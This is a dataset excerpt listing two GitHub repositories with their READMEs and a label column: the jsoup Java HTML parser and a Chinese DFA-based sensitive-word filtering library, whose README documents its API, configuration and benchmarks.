full_name
stringlengths 7
70
| description
stringlengths 4
590
⌀ | created_at
stringlengths 20
20
| last_commit
float64 | readme
stringlengths 14
559k
⌀ | label
int64 0
1
|
---|---|---|---|---|---|
jhy/jsoup | jsoup: the Java HTML parser, built for HTML editing, cleaning, scraping, and XSS safety. | 2009-12-19T01:29:58Z | null | # jsoup: Java HTML Parser
**jsoup** is a Java library that makes it easy to work with real-world HTML and XML. It offers an easy-to-use API for URL fetching, data parsing, extraction, and manipulation using DOM API methods, CSS, and xpath selectors.
**jsoup** implements the [WHATWG HTML5](https://html.spec.whatwg.org/multipage/) specification, and parses HTML to the same DOM as modern browsers.
* scrape and [parse](https://jsoup.org/cookbook/input/parse-document-from-string) HTML from a URL, file, or string
* find and [extract data](https://jsoup.org/cookbook/extracting-data/selector-syntax), using DOM traversal or CSS selectors
* manipulate the [HTML elements](https://jsoup.org/cookbook/modifying-data/set-html), attributes, and text
* [clean](https://jsoup.org/cookbook/cleaning-html/safelist-sanitizer) user-submitted content against a safe-list, to prevent XSS attacks
* output tidy HTML
jsoup is designed to deal with all varieties of HTML found in the wild; from pristine and validating, to invalid tag-soup; jsoup will create a sensible parse tree.
See [**jsoup.org**](https://jsoup.org/) for downloads and the full [API documentation](https://jsoup.org/apidocs/).
[![Build Status](https://github.com/jhy/jsoup/workflows/Build/badge.svg)](https://github.com/jhy/jsoup/actions?query=workflow%3ABuild)
## Example
Fetch the [Wikipedia](https://en.wikipedia.org/wiki/Main_Page) homepage, parse it to a [DOM](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction), and select the headlines from the *In the News* section into a list of [Elements](https://jsoup.org/apidocs/org/jsoup/select/Elements.html):
```java
Document doc = Jsoup.connect("https://en.wikipedia.org/").get();
log(doc.title());
Elements newsHeadlines = doc.select("#mp-itn b a");
for (Element headline : newsHeadlines) {
log("%s\n\t%s",
headline.attr("title"), headline.absUrl("href"));
}
```
[Online sample](https://try.jsoup.org/~LGB7rk_atM2roavV0d-czMt3J_g), [full source](https://github.com/jhy/jsoup/blob/master/src/main/java/org/jsoup/examples/Wikipedia.java).
## Open source
jsoup is an open source project distributed under the liberal [MIT license](https://jsoup.org/license). The source code is available on [GitHub](https://github.com/jhy/jsoup).
## Getting started
1. [Download](https://jsoup.org/download) the latest jsoup jar (or add it to your Maven/Gradle build)
2. Read the [cookbook](https://jsoup.org/cookbook/)
3. Enjoy!
### Android support
When used in Android projects, [core library desugaring](https://developer.android.com/studio/write/java8-support#library-desugaring) with the [NIO specification](https://developer.android.com/studio/write/java11-nio-support-table) should be enabled to support Java 8+ features.
## Development and support
If you have any questions on how to use jsoup, or have ideas for future development, please get in touch via [jsoup Discussions](https://github.com/jhy/jsoup/discussions).
If you find any issues, please file a [bug](https://jsoup.org/bugs) after checking for duplicates.
The [colophon](https://jsoup.org/colophon) talks about the history of and tools used to build jsoup.
## Status
jsoup is in general, stable release.
| 0 |
houbb/sensitive-word | 👮♂️The sensitive word tool for java.(敏感词/违禁词/违法词/脏词。基于 DFA 算法实现的高性能 java 敏感词过滤工具框架。请勿发布涉及政治、广告、营销、翻墙、违反国家法律法规等内容。高性能敏感词检测过滤组件,附带繁体简体互换,支持全角半角互换,汉字转拼音,模糊搜索等功能。) | 2020-01-07T03:10:44Z | null | # sensitive-word
[sensitive-word](https://github.com/houbb/sensitive-word) 基于 DFA 算法实现的高性能敏感词工具。
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.github.houbb/sensitive-word/badge.svg)](http://mvnrepository.com/artifact/com.github.houbb/sensitive-word)
[![Open Source Love](https://badges.frapsoft.com/os/v2/open-source.svg?v=103)](https://github.com/houbb/sensitive-word)
[![](https://img.shields.io/badge/license-Apache2-FF0080.svg)](https://github.com/houbb/sensitive-word/blob/master/LICENSE.txt)
> [在线体验](https://houbb.github.io/opensource/sensitive-word)
如果有一些疑难杂症,可以加入:[技术交流群](https://mp.weixin.qq.com/s/rkSvXxiiLGjl3S-ZOZCr0Q)
[sensitive-word-admin](https://github.com/houbb/sensitive-word-admin) 是对应的控台的应用,目前功能处于初期开发中,MVP 版本可用。
## 创作目的
实现一款好用敏感词工具。
基于 DFA 算法实现,目前敏感词库内容收录 6W+(源文件 18W+,经过一次删减)。
后期将进行持续优化和补充敏感词库,并进一步提升算法的性能。
希望可以细化敏感词的分类,感觉工作量比较大,暂时没有进行。
## 特性
- 6W+ 词库,且不断优化更新
- 基于 fluent-api 实现,使用优雅简洁
- [基于 DFA 算法,性能为 7W+ QPS,应用无感](https://github.com/houbb/sensitive-word#benchmark)
- [支持敏感词的判断、返回、脱敏等常见操作](https://github.com/houbb/sensitive-word#%E6%A0%B8%E5%BF%83%E6%96%B9%E6%B3%95)
- [支持常见的格式转换](https://github.com/houbb/sensitive-word#%E6%9B%B4%E5%A4%9A%E7%89%B9%E6%80%A7)
全角半角互换、英文大小写互换、数字常见形式的互换、中文繁简体互换、英文常见形式的互换、忽略重复词等
- [支持敏感词检测、邮箱检测、数字检测、网址检测等](https://github.com/houbb/sensitive-word#%E6%9B%B4%E5%A4%9A%E6%A3%80%E6%B5%8B%E7%AD%96%E7%95%A5)
- [支持自定义替换策略](https://github.com/houbb/sensitive-word#%E8%87%AA%E5%AE%9A%E4%B9%89%E6%9B%BF%E6%8D%A2%E7%AD%96%E7%95%A5)
- [支持用户自定义敏感词和白名单](https://github.com/houbb/sensitive-word#%E9%85%8D%E7%BD%AE%E4%BD%BF%E7%94%A8)
- [支持数据的数据动态更新(用户自定义),实时生效](https://github.com/houbb/sensitive-word#%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E7%94%A8%E6%88%B7%E8%87%AA%E5%AE%9A%E4%B9%89)
- [支持敏感词的标签接口](https://github.com/houbb/sensitive-word#%E6%95%8F%E6%84%9F%E8%AF%8D%E6%A0%87%E7%AD%BE)
- [支持跳过一些特殊字符,让匹配更灵活](https://github.com/houbb/sensitive-word#%E5%BF%BD%E7%95%A5%E5%AD%97%E7%AC%A6)
## 变更日志
[CHANGE_LOG.md](https://github.com/houbb/sensitive-word/blob/master/CHANGE_LOG.md)
V0.16.1:
- [x] 支持内存释放 [#53](https://github.com/houbb/sensitive-word/issues/53)
## 更多资料
### 敏感词控台
有时候敏感词有一个控台,配置起来会更加灵活方便。
> [java 如何实现开箱即用的敏感词控台服务?](https://mp.weixin.qq.com/s/rQo75cfMU_OEbTJa0JGMGg)
### 敏感词标签文件
梳理了大量的敏感词标签文件,可以让我们的敏感词更加方便。
这两个资料阅读可在下方文章获取:
> [v0.11.0-敏感词新特性及对应标签文件](https://mp.weixin.qq.com/s/m40ZnR6YF6WgPrArUSZ_0g)
# 快速开始
## 准备
- JDK1.7+
- Maven 3.x+
## Maven 引入
```xml
<dependency>
<groupId>com.github.houbb</groupId>
<artifactId>sensitive-word</artifactId>
<version>0.16.1</version>
</dependency>
```
## 核心方法
`SensitiveWordHelper` 作为敏感词的工具类,核心方法如下:
| 方法 | 参数 | 返回值 | 说明 |
|:---------------------------------------|:-------------------------|:-------|:-------------|
| contains(String) | 待验证的字符串 | 布尔值 | 验证字符串是否包含敏感词 |
| replace(String, ISensitiveWordReplace) | 使用指定的替换策略替换敏感词 | 字符串 | 返回脱敏后的字符串 |
| replace(String, char) | 使用指定的 char 替换敏感词 | 字符串 | 返回脱敏后的字符串 |
| replace(String) | 使用 `*` 替换敏感词 | 字符串 | 返回脱敏后的字符串 |
| findAll(String) | 待验证的字符串 | 字符串列表 | 返回字符串中所有敏感词 |
| findFirst(String) | 待验证的字符串 | 字符串 | 返回字符串中第一个敏感词 |
| findAll(String, IWordResultHandler) | IWordResultHandler 结果处理类 | 字符串列表 | 返回字符串中所有敏感词 |
| findFirst(String, IWordResultHandler) | IWordResultHandler 结果处理类 | 字符串 | 返回字符串中第一个敏感词 |
| tags(String) | 获取敏感词的标签 | 敏感词字符串 | 返回敏感词的标签列表 |
### 判断是否包含敏感词
```java
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
Assert.assertTrue(SensitiveWordHelper.contains(text));
```
### 返回第一个敏感词
```java
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
String word = SensitiveWordHelper.findFirst(text);
Assert.assertEquals("五星红旗", word);
```
SensitiveWordHelper.findFirst(text) 等价于:
```java
String word = SensitiveWordHelper.findFirst(text, WordResultHandlers.word());
```
### 返回所有敏感词
```java
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
List<String> wordList = SensitiveWordHelper.findAll(text);
Assert.assertEquals("[五星红旗, 毛主席, 天安门]", wordList.toString());
```
返回所有敏感词用法上类似于 SensitiveWordHelper.findFirst(),同样也支持指定结果处理类。
SensitiveWordHelper.findAll(text) 等价于:
```java
List<String> wordList = SensitiveWordHelper.findAll(text, WordResultHandlers.word());
```
WordResultHandlers.raw() 可以保留对应的下标信息、类别信息:
```java
final String text = "骂人:你他妈; 邮箱:123@qq.com; mobile: 13088889999; 网址:https://www.baidu.com";
List<IWordResult> wordList3 = SensitiveWordHelper.findAll(text, WordResultHandlers.raw());
Assert.assertEquals("[WordResult{startIndex=3, endIndex=6, type='WORD'}, WordResult{startIndex=11, endIndex=21, type='EMAIL'}, WordResult{startIndex=31, endIndex=42, type='NUM'}, WordResult{startIndex=55, endIndex=68, type='URL'}]", wordList3.toString());
```
### 默认的替换策略
```java
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
String result = SensitiveWordHelper.replace(text);
Assert.assertEquals("****迎风飘扬,***的画像屹立在***前。", result);
```
### 指定替换的内容
```java
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
String result = SensitiveWordHelper.replace(text, '0');
Assert.assertEquals("0000迎风飘扬,000的画像屹立在000前。", result);
```
### 自定义替换策略
V0.2.0 支持该特性。
场景说明:有时候我们希望不同的敏感词有不同的替换结果。比如【游戏】替换为【电子竞技】,【失业】替换为【灵活就业】。
诚然,提前使用字符串的正则替换也可以,不过性能一般。
使用例子:
```java
/**
* 自定替换策略
* @since 0.2.0
*/
@Test
public void defineReplaceTest() {
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
ISensitiveWordReplace replace = new MySensitiveWordReplace();
String result = SensitiveWordHelper.replace(text, replace);
Assert.assertEquals("国家旗帜迎风飘扬,教员的画像屹立在***前。", result);
}
```
其中 `MySensitiveWordReplace` 是我们自定义的替换策略,实现如下:
```java
public class MyWordReplace implements IWordReplace {
@Override
public void replace(StringBuilder stringBuilder, final char[] rawChars, IWordResult wordResult, IWordContext wordContext) {
String sensitiveWord = InnerWordCharUtils.getString(rawChars, wordResult);
// 自定义不同的敏感词替换策略,可以从数据库等地方读取
if("五星红旗".equals(sensitiveWord)) {
stringBuilder.append("国家旗帜");
} else if("毛主席".equals(sensitiveWord)) {
stringBuilder.append("教员");
} else {
// 其他默认使用 * 代替
int wordLength = wordResult.endIndex() - wordResult.startIndex();
for(int i = 0; i < wordLength; i++) {
stringBuilder.append('*');
}
}
}
}
```
我们针对其中的部分词做固定映射处理,其他的默认转换为 `*`。
## IWordResultHandler 结果处理类
IWordResultHandler 可以对敏感词的结果进行处理,允许用户自定义。
内置实现见 `WordResultHandlers` 工具类:
- WordResultHandlers.word()
只保留敏感词单词本身。
- WordResultHandlers.raw()
保留敏感词相关信息,包含敏感词的开始和结束下标。
- WordResultHandlers.wordTags()
同时保留单词,和对应的词标签信息。
### 使用实例
所有测试案例参见 [SensitiveWordHelperTest](https://github.com/houbb/sensitive-word/blob/master/src/test/java/com/github/houbb/sensitive/word/core/SensitiveWordHelperTest.java)
1)基本例子
```java
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
List<String> wordList = SensitiveWordHelper.findAll(text);
Assert.assertEquals("[五星红旗, 毛主席, 天安门]", wordList.toString());
List<String> wordList2 = SensitiveWordHelper.findAll(text, WordResultHandlers.word());
Assert.assertEquals("[五星红旗, 毛主席, 天安门]", wordList2.toString());
List<IWordResult> wordList3 = SensitiveWordHelper.findAll(text, WordResultHandlers.raw());
Assert.assertEquals("[WordResult{startIndex=0, endIndex=4}, WordResult{startIndex=9, endIndex=12}, WordResult{startIndex=18, endIndex=21}]", wordList3.toString());
```
2) wordTags 例子
我们在 `dict_tag_test.txt` 文件中指定对应词的标签信息。
```java
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
// 默认敏感词标签为空
List<WordTagsDto> wordList1 = SensitiveWordHelper.findAll(text, WordResultHandlers.wordTags());
Assert.assertEquals("[WordTagsDto{word='五星红旗', tags=[]}, WordTagsDto{word='毛主席', tags=[]}, WordTagsDto{word='天安门', tags=[]}]", wordList1.toString());
List<WordTagsDto> wordList2 = SensitiveWordBs.newInstance()
.wordTag(WordTags.file("dict_tag_test.txt"))
.init()
.findAll(text, WordResultHandlers.wordTags());
Assert.assertEquals("[WordTagsDto{word='五星红旗', tags=[政治, 国家]}, WordTagsDto{word='毛主席', tags=[政治, 伟人, 国家]}, WordTagsDto{word='天安门', tags=[政治, 国家, 地址]}]", wordList2.toString());
```
# 更多特性
后续的诸多特性,主要是针对各种针对各种情况的处理,尽可能的提升敏感词命中率。
这是一场漫长的攻防之战。
## 样式处理
### 忽略大小写
```java
final String text = "fuCK the bad words.";
String word = SensitiveWordHelper.findFirst(text);
Assert.assertEquals("fuCK", word);
```
### 忽略半角圆角
```java
final String text = "fuck the bad words.";
String word = SensitiveWordHelper.findFirst(text);
Assert.assertEquals("fuck", word);
```
### 忽略数字的写法
这里实现了数字常见形式的转换。
```java
final String text = "这个是我的微信:9⓿二肆⁹₈③⑸⒋➃㈤㊄";
List<String> wordList = SensitiveWordHelper.findAll(text);
Assert.assertEquals("[9⓿二肆⁹₈③⑸⒋➃㈤㊄]", wordList.toString());
```
### 忽略繁简体
```java
final String text = "我爱我的祖国和五星紅旗。";
List<String> wordList = SensitiveWordHelper.findAll(text);
Assert.assertEquals("[五星紅旗]", wordList.toString());
```
### 忽略英文的书写格式
```java
final String text = "Ⓕⓤc⒦ the bad words";
List<String> wordList = SensitiveWordHelper.findAll(text);
Assert.assertEquals("[Ⓕⓤc⒦]", wordList.toString());
```
### 忽略重复词
```java
final String text = "ⒻⒻⒻfⓤuⓤ⒰cⓒ⒦ the bad words";
List<String> wordList = SensitiveWordBs.newInstance()
.ignoreRepeat(true)
.init()
.findAll(text);
Assert.assertEquals("[ⒻⒻⒻfⓤuⓤ⒰cⓒ⒦]", wordList.toString());
```
## 更多检测策略
### 邮箱检测
```java
final String text = "楼主好人,邮箱 sensitiveword@xx.com";
List<String> wordList = SensitiveWordHelper.findAll(text);
Assert.assertEquals("[sensitiveword@xx.com]", wordList.toString());
```
### 连续数字检测
一般用于过滤手机号/QQ等广告信息。
V0.2.1 之后,支持通过 `numCheckLen(长度)` 自定义检测的长度。
```java
final String text = "你懂得:12345678";
// 默认检测 8 位
List<String> wordList = SensitiveWordBs.newInstance().init().findAll(text);
Assert.assertEquals("[12345678]", wordList.toString());
// 指定数字的长度,避免误杀
List<String> wordList2 = SensitiveWordBs.newInstance()
.numCheckLen(9)
.init()
.findAll(text);
Assert.assertEquals("[]", wordList2.toString());
```
### 网址检测
用于过滤常见的网址信息。
```java
final String text = "点击链接 www.baidu.com查看答案";
List<String> wordList = SensitiveWordBs.newInstance().init().findAll(text);
Assert.assertEquals("[链接, www.baidu.com]", wordList.toString());
Assert.assertEquals("点击** *************查看答案", SensitiveWordBs
.newInstance()
.init()
.replace(text));
```
# 引导类特性配置
## 说明
上面的特性默认都是开启的,有时业务需要灵活定义相关的配置特性。
所以 v0.0.14 开放了属性配置。
## 配置方法
为了让使用更加优雅,统一使用 fluent-api 的方式定义。
用户可以使用 `SensitiveWordBs` 进行如下定义:
```java
SensitiveWordBs wordBs = SensitiveWordBs.newInstance()
.ignoreCase(true)
.ignoreWidth(true)
.ignoreNumStyle(true)
.ignoreChineseStyle(true)
.ignoreEnglishStyle(true)
.ignoreRepeat(false)
.enableNumCheck(true)
.enableEmailCheck(true)
.enableUrlCheck(true)
.enableWordCheck(true)
.numCheckLen(8)
.wordTag(WordTags.none())
.charIgnore(SensitiveWordCharIgnores.defaults())
.wordResultCondition(WordResultConditions.alwaysTrue())
.init();
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
Assert.assertTrue(wordBs.contains(text));
```
## 配置说明
其中各项配置的说明如下:
| 序号 | 方法 | 说明 | 默认值 |
|:---|:---------------------|:-----------------------------|:------|
| 1 | ignoreCase | 忽略大小写 | true |
| 2 | ignoreWidth | 忽略半角圆角 | true |
| 3 | ignoreNumStyle | 忽略数字的写法 | true |
| 4 | ignoreChineseStyle | 忽略中文的书写格式 | true |
| 5 | ignoreEnglishStyle | 忽略英文的书写格式 | true |
| 6 | ignoreRepeat | 忽略重复词 | false |
| 7 | enableNumCheck | 是否启用数字检测。 | true |
| 8 | enableEmailCheck | 是有启用邮箱检测 | true |
| 9 | enableUrlCheck | 是否启用链接检测 | true |
| 10 | enableWordCheck | 是否启用敏感单词检测 | true |
| 11 | numCheckLen | 数字检测,自定义指定长度。 | 8 |
| 12 | wordTag | 词对应的标签 | none |
| 13 | charIgnore | 忽略的字符 | none |
| 14 | wordResultCondition | 针对匹配的敏感词额外加工,比如可以限制英文单词必须全匹配 | 恒为真 |
## 内存的释放
v0.16.1 开始支持,有时候我们需要释放内存,可以如下:
> [关于内存回收问题](https://github.com/houbb/sensitive-word/issues/53)
```java
SensitiveWordBs wordBs = SensitiveWordBs.newInstance()
.init();
// 后续因为一些原因移除了对应信息,希望释放内存。
wordBs.destroy();
```
# wordResultCondition-针对匹配词进一步判断
## 说明
支持版本:v0.13.0
有时候我们可能希望对匹配的敏感词进一步限制,比如虽然我们定义了【av】作为敏感词,但是不希望【have】被匹配。
就可以自定义实现 wordResultCondition 接口,实现自己的策略。
系统内置的策略在 `WordResultConditions#alwaysTrue()` 恒为真,`WordResultConditions#englishWordMatch()` 则要求英文必须全词匹配。
## 入门例子
原始的默认情况:
```java
final String text = "I have a nice day。";
List<String> wordList = SensitiveWordBs.newInstance()
.wordDeny(new IWordDeny() {
@Override
public List<String> deny() {
return Collections.singletonList("av");
}
})
.wordResultCondition(WordResultConditions.alwaysTrue())
.init()
.findAll(text);
Assert.assertEquals("[av]", wordList.toString());
```
我们可以指定为英文必须全词匹配。
```java
final String text = "I have a nice day。";
List<String> wordList = SensitiveWordBs.newInstance()
.wordDeny(new IWordDeny() {
@Override
public List<String> deny() {
return Collections.singletonList("av");
}
})
.wordResultCondition(WordResultConditions.englishWordMatch())
.init()
.findAll(text);
Assert.assertEquals("[]", wordList.toString());
```
当然可以根据需要实现更加复杂的策略。
# 忽略字符
## 说明
我们的敏感词一般都是比较连续的,比如【傻帽】
那就有大聪明发现,可以在中间加一些字符,比如【傻!@#$帽】跳过检测,但是骂人等攻击力不减。
那么,如何应对这些类似的场景呢?
我们可以指定特殊字符的跳过集合,忽略掉这些无意义的字符即可。
v0.11.0 开始支持
## 例子
其中 charIgnore 对应的字符策略,用户可以自行灵活定义。
```java
final String text = "傻@冒,狗+东西";
//默认因为有特殊字符分割,无法识别
List<String> wordList = SensitiveWordBs.newInstance().init().findAll(text);
Assert.assertEquals("[]", wordList.toString());
// 指定忽略的字符策略,可自行实现。
List<String> wordList2 = SensitiveWordBs.newInstance()
.charIgnore(SensitiveWordCharIgnores.specialChars())
.init()
.findAll(text);
Assert.assertEquals("[傻@冒, 狗+东西]", wordList2.toString());
```
# 敏感词标签
## 说明
有时候我们希望对敏感词加一个分类标签:比如社情、暴/力等等。
这样后续可以按照标签等进行更多特性操作,比如只处理某一类的标签。
支持版本:v0.10.0
## 入门例子
### 接口
这里只是一个抽象的接口,用户可以自行定义实现。比如从数据库查询等。
```java
public interface IWordTag {
/**
* 查询标签列表
* @param word 脏词
* @return 结果
*/
Set<String> getTag(String word);
}
```
### 配置文件
我们可以自定义 dict 标签文件,通过 WordTags.file() 创建一个 WordTag 实现。
- dict_tag_test.txt
```
五星红旗 政治,国家
```
格式如下:
```
敏感词 tag1,tag2
```
### 实现
具体的效果如下,在引导类设置一下即可。
默认的 wordTag 是空的。
```java
String filePath = "dict_tag_test.txt";
IWordTag wordTag = WordTags.file(filePath);
SensitiveWordBs sensitiveWordBs = SensitiveWordBs.newInstance()
.wordTag(wordTag)
.init();
Assert.assertEquals("[政治, 国家]", sensitiveWordBs.tags("五星红旗").toString());;
```
后续会考虑引入一个内置的标签文件策略。
### 敏感词标签文件
梳理了大量的敏感词标签文件,可以让我们的敏感词更加方便。
这两个资料阅读可在下方文章获取:
> [v0.11.0-敏感词新特性及对应标签文件](https://mp.weixin.qq.com/s/m40ZnR6YF6WgPrArUSZ_0g)
# 动态加载(用户自定义)
## 情景说明
有时候我们希望将敏感词的加载设计成动态的,比如控台修改,然后可以实时生效。
v0.0.13 支持了这种特性。
## 接口说明
为了实现这个特性,并且兼容以前的功能,我们定义了两个接口。
### IWordDeny
接口如下,可以自定义自己的实现。
返回的列表,表示这个词是一个敏感词。
```java
/**
* 拒绝出现的数据-返回的内容被当做是敏感词
* @author binbin.hou
* @since 0.0.13
*/
public interface IWordDeny {
/**
* 获取结果
* @return 结果
* @since 0.0.13
*/
List<String> deny();
}
```
比如:
```java
public class MyWordDeny implements IWordDeny {
@Override
public List<String> deny() {
return Arrays.asList("我的自定义敏感词");
}
}
```
### IWordAllow
接口如下,可以自定义自己的实现。
返回的列表,表示这个词不是一个敏感词。
```java
/**
* 允许的内容-返回的内容不被当做敏感词
* @author binbin.hou
* @since 0.0.13
*/
public interface IWordAllow {
/**
* 获取结果
* @return 结果
* @since 0.0.13
*/
List<String> allow();
}
```
如:
```java
public class MyWordAllow implements IWordAllow {
@Override
public List<String> allow() {
return Arrays.asList("五星红旗");
}
}
```
## 配置使用
**接口自定义之后,当然需要指定才能生效。**
为了让使用更加优雅,我们设计了引导类 `SensitiveWordBs`。
可以通过 wordDeny() 指定敏感词,wordAllow() 指定非敏感词,通过 init() 初始化敏感词字典。
### 系统的默认配置
```java
SensitiveWordBs wordBs = SensitiveWordBs.newInstance()
.wordDeny(WordDenys.defaults())
.wordAllow(WordAllows.defaults())
.init();
final String text = "五星红旗迎风飘扬,毛主席的画像屹立在天安门前。";
Assert.assertTrue(wordBs.contains(text));
```
备注:init() 对于敏感词 DFA 的构建是比较耗时的,一般建议在应用初始化的时候**只初始化一次**。而不是重复初始化!
### 指定自己的实现
我们可以测试一下自定义的实现,如下:
```java
String text = "这是一个测试,我的自定义敏感词。";
SensitiveWordBs wordBs = SensitiveWordBs.newInstance()
.wordDeny(new MyWordDeny())
.wordAllow(new MyWordAllow())
.init();
Assert.assertEquals("[我的自定义敏感词]", wordBs.findAll(text).toString());
```
这里只有 `我的自定义敏感词` 是敏感词,而 `测试` 不是敏感词。
当然,这里是全部使用我们自定义的实现,一般建议使用系统的默认配置+自定义配置。
可以使用下面的方式。
### 同时配置多个
- 多个敏感词
`WordDenys.chains()` 方法,将多个实现合并为同一个 IWordDeny。
- 多个白名单
`WordAllows.chains()` 方法,将多个实现合并为同一个 IWordAllow。
例子:
```java
String text = "这是一个测试。我的自定义敏感词。";
IWordDeny wordDeny = WordDenys.chains(WordDenys.defaults(), new MyWordDeny());
IWordAllow wordAllow = WordAllows.chains(WordAllows.defaults(), new MyWordAllow());
SensitiveWordBs wordBs = SensitiveWordBs.newInstance()
.wordDeny(wordDeny)
.wordAllow(wordAllow)
.init();
Assert.assertEquals("[我的自定义敏感词]", wordBs.findAll(text).toString());
```
这里都是同时使用了系统默认配置,和自定义的配置。
注意:**我们初始化了新的 wordBs,那么用新的 wordBs 去判断。而不是用以前的 `SensitiveWordHelper` 工具方法,工具方法配置是默认的!**
# spring 整合
## 背景
实际使用中,比如可以在页面配置修改,然后实时生效。
数据存储在数据库中,下面是一个伪代码的例子,可以参考 [SpringSensitiveWordConfig.java](https://github.com/houbb/sensitive-word/blob/master/src/test/java/com/github/houbb/sensitive/word/spring/SpringSensitiveWordConfig.java)
要求,版本 v0.0.15 及其以上。
## 自定义数据源
简化伪代码如下,数据的源头为数据库。
MyDdWordAllow 和 MyDdWordDeny 是基于数据库为源头的自定义实现类。
```java
@Configuration
public class SpringSensitiveWordConfig {
@Autowired
private MyDdWordAllow myDdWordAllow;
@Autowired
private MyDdWordDeny myDdWordDeny;
/**
* 初始化引导类
* @return 初始化引导类
* @since 1.0.0
*/
@Bean
public SensitiveWordBs sensitiveWordBs() {
SensitiveWordBs sensitiveWordBs = SensitiveWordBs.newInstance()
.wordAllow(WordAllows.chains(WordAllows.defaults(), myDdWordAllow))
.wordDeny(myDdWordDeny)
// 各种其他配置
.init();
return sensitiveWordBs;
}
}
```
敏感词库的初始化较为耗时,建议程序启动时做一次 init 初始化。
## 动态变更
为了保证敏感词修改可以实时生效且保证接口的尽可能简化,此处没有新增 add/remove 的方法。
而是在调用 `sensitiveWordBs.init()` 的时候,根据 IWordDeny+IWordAllow 重新构建敏感词库。
因为初始化可能耗时较长(秒级别),所有优化为 init 未完成时**不影响旧的词库功能,完成后以新的为准**。
```java
@Component
public class SensitiveWordService {
@Autowired
private SensitiveWordBs sensitiveWordBs;
/**
* 更新词库
*
* 每次数据库的信息发生变化之后,首先调用更新数据库敏感词库的方法。
* 如果需要生效,则调用这个方法。
*
* 说明:重新初始化不影响旧的方法使用。初始化完成后,会以新的为准。
*/
public void refresh() {
// 每次数据库的信息发生变化之后,首先调用更新数据库敏感词库的方法,然后调用这个方法。
sensitiveWordBs.init();
}
}
```
如上,你可以在数据库词库发生变更时,需要词库生效,主动触发一次初始化 `sensitiveWordBs.init();`。
其他使用保持不变,无需重启应用。
# Benchmark
V0.6.0 以后,添加对应的 benchmark 测试。
> [BenchmarkTimesTest](https://github.com/houbb/sensitive-word/blob/master/src/test/java/com/github/houbb/sensitive/word/benchmark/BenchmarkTimesTest.java)
## 环境
测试环境为普通的笔记本:
```
处理器 12th Gen Intel(R) Core(TM) i7-1260P 2.10 GHz
机带 RAM 16.0 GB (15.7 GB 可用)
系统类型 64 位操作系统, 基于 x64 的处理器
```
ps: 不同环境会有差异,但是比例基本稳定。
## 测试效果记录
测试数据:100+ 字符串,循环 10W 次。
| 序号 | 场景 | 耗时 | 备注 |
|:----|:-----------------|:----|:--------------|
| 1 | 只做敏感词,无任何格式转换 | 1470ms,约 7.2W QPS | 追求极致性能,可以这样配置 |
| 2 | 只做敏感词,支持全部格式转换 | 2744ms,约 3.7W QPS | 满足大部分场景 |
# STAR
[![Stargazers over time](https://starchart.cc/houbb/sensitive-word.svg)](https://starchart.cc/houbb/sensitive-word)
# 后期 road-map
- [x] 移除单个汉字的敏感词,在中国,要把词组当做一次词,降低误判率。
- [ ] 支持单个的敏感词变化?
remove、add、edit?
- [x] 敏感词标签接口支持
- [x] 敏感词处理时标签支持
- [x] wordData 的内存占用对比 + 优化
- [x] 用户指定自定义的词组,同时允许指定词组的组合获取,更加灵活
FormatCombine/CheckCombine/AllowDenyCombine 组合策略,允许用户自定义。
- [ ] word check 策略的优化,统一遍历+转换
- [ ] 添加 ThreadLocal 等性能优化
# 拓展阅读
[01-开源敏感词工具入门使用](https://houbb.github.io/2020/01/07/sensitive-word-00-overview)
[02-如何实现一个敏感词工具?违禁词实现思路梳理](https://houbb.github.io/2020/01/07/sensitive-word-01-intro)
[03-敏感词之 StopWord 停止词优化与特殊符号](https://houbb.github.io/2020/01/07/sensitive-word-02-stopword)
[04-敏感词之字典瘦身](https://houbb.github.io/2020/01/07/sensitive-word-03-slim)
[05-敏感词之 DFA 算法(Trie Tree 算法)详解](https://houbb.github.io/2020/01/07/sensitive-word-04-dfa)
[06-敏感词(脏词) 如何忽略无意义的字符?达到更好的过滤效果](https://houbb.github.io/2020/01/07/sensitive-word-05-ignore-char)
[v0.10.0-脏词分类标签初步支持](https://juejin.cn/post/7308782855941292058?searchId=20231209140414C082B3CCF1E7B2316EF9)
[v0.11.0-敏感词新特性:忽略无意义的字符,词标签字典](https://mp.weixin.qq.com/s/m40ZnR6YF6WgPrArUSZ_0g)
[v0.12.0-敏感词/脏词词标签能力进一步增强](https://mp.weixin.qq.com/s/-wa-if7uAy2jWsZC13C0cQ)
![wechat](https://img-blog.csdnimg.cn/63926529df364f09bcb203a8a9016854.png)
# NLP 开源矩阵
[pinyin 汉字转拼音](https://github.com/houbb/pinyin)
[pinyin2hanzi 拼音转汉字](https://github.com/houbb/pinyin2hanzi)
[segment 高性能中文分词](https://github.com/houbb/segment)
[opencc4j 中文繁简体转换](https://github.com/houbb/opencc4j)
[nlp-hanzi-similar 汉字相似度](https://github.com/houbb/nlp-hanzi-similar)
[word-checker 拼写检测](https://github.com/houbb/word-checker)
[sensitive-word 敏感词](https://github.com/houbb/sensitive-word)
| 0 |
